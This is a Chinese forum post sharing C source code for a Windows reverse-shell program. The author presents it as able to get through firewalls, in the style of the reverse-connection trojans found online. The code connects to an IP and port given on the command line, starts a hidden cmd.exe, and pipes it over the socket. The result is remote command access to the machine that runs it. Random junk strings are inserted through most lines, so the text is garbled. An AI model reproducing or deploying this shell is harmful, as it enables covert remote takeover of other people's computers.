Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ,k9xI<i  
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/* ==============================  vWH)W?2  
Rebound port in Windows NT W^,(w
e  
By wind,2006/7 9dO. ,U*`  
===============================*/ 7~qyz]KkE  
#include PL|ea~/  
#include jmBsPSGIC  
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#pragma comment(lib,"wsock32.lib") @hF$qevX  
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void OutputShell(); =c;.cW  
SOCKET sClient; 8b[<:{[YB  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; grxlGS~Q  
gQY
s,  
void main(int argc,char **argv) Pb}Iiq=  
{ mVd%sWD  
WSADATA stWsaData; adtgNwg  
int nRet; %BwvA_T'Q  
SOCKADDR_IN stSaiClient,stSaiServer; M,vCAZ  
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if(argc != 3) 7
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{ TtWWq5X|  
printf("Useage:\n\rRebound DestIP DestPort\n"); >sGiDK @  
return; "rnVPHnQR
 
} W|L#Q/ RX  
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WSAStartup(MAKEWORD(2,2),&stWsaData); E#~J"9k98  
Ly-}HW(  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AIG5a$}&  
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stSaiClient.sin_family = AF_INET; ?&JKq^9\I  
stSaiClient.sin_port = htons(0); `sLD>@m  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $}t;c62  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Q%QIr  
{ c=f;3N  
printf("Bind Socket Failed!\n"); v=~+o[  
return; 2Ah B)8bG  
} ew&"n2r  
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stSaiServer.sin_family = AF_INET; MmQk@~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >ra)4huZ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); gs(ZJO1 /L  
6J<R;g23R]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *o=[p2d"X  
{ he|.Ow  
printf("Connect Error!"); }2''}-Nc  
return; 0V+v)\4
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} !8*7{7  
OutputShell(); }_oQg_-7e  
} 5i-VnG  
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void OutputShell() *&~(>gNF,  
{ ,0@QBr5P  
char szBuff[1024]; 6f^IAa|  
SECURITY_ATTRIBUTES stSecurityAttributes; M%bD7naBq  
OSVERSIONINFO stOsversionInfo; r<[G~n  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hf:\^w  
STARTUPINFO stStartupInfo; T*%O\&'r  
char *szShell; v+~O\v5Q  
PROCESS_INFORMATION stProcessInformation; "I QM4:  
unsigned long lBytesRead; x~E\zw  
E/2_@&U:}  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `Krk<G  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bh+m_$X~  
stSecurityAttributes.lpSecurityDescriptor = 0; pHKc9VC  
stSecurityAttributes.bInheritHandle = TRUE; hm0MO,i"  
g f<vQb|  
FK@Gd)(  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Mu@(^zW  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); WJ/X`?k  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4t 0p!IxG  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M9.FtQhK/  
stStartupInfo.wShowWindow = SW_HIDE; i,mZg+;w  
stStartupInfo.hStdInput = hReadPipe; 'yR\%#s6  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ) D5JA`  

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GetVersionEx(&stOsversionInfo); eyy%2>b  
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switch(stOsversionInfo.dwPlatformId) |#sY(1  
{ JvF0s}#4  
case 1:  = Atyy  
szShell = "command.com"; deOk>v&U  
break; 3F$N@K~s  
default: \F14]`i  
szShell = "cmd.exe"; -d[Gy- J  
break; 825 QS`  
} gkDXt^Ob  
rQ(u@u;  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); C[CNJ66  
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send(sClient,szMsg,77,0); %zN~%mJ
G  
while(1) ^fP5@T*f  
{ ir~4\G!  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |(=b  
if(lBytesRead) $XcuU sG  
{ }"STc&1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Qx8O&C?Ti  
send(sClient,szBuff,lBytesRead,0); H-3*},9  
} xmejoOF  
else \eXuNv_  
{ q!WiX|P  
lBytesRead=recv(sClient,szBuff,1024,0); kR<\iT0j  
if(lBytesRead<=0) break; jP.dQj^j&  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); G[]h1f!  
} v)~!HCG  
} 2BO"mc<#$  
7 b{y  
return; XdE|7=+s  
}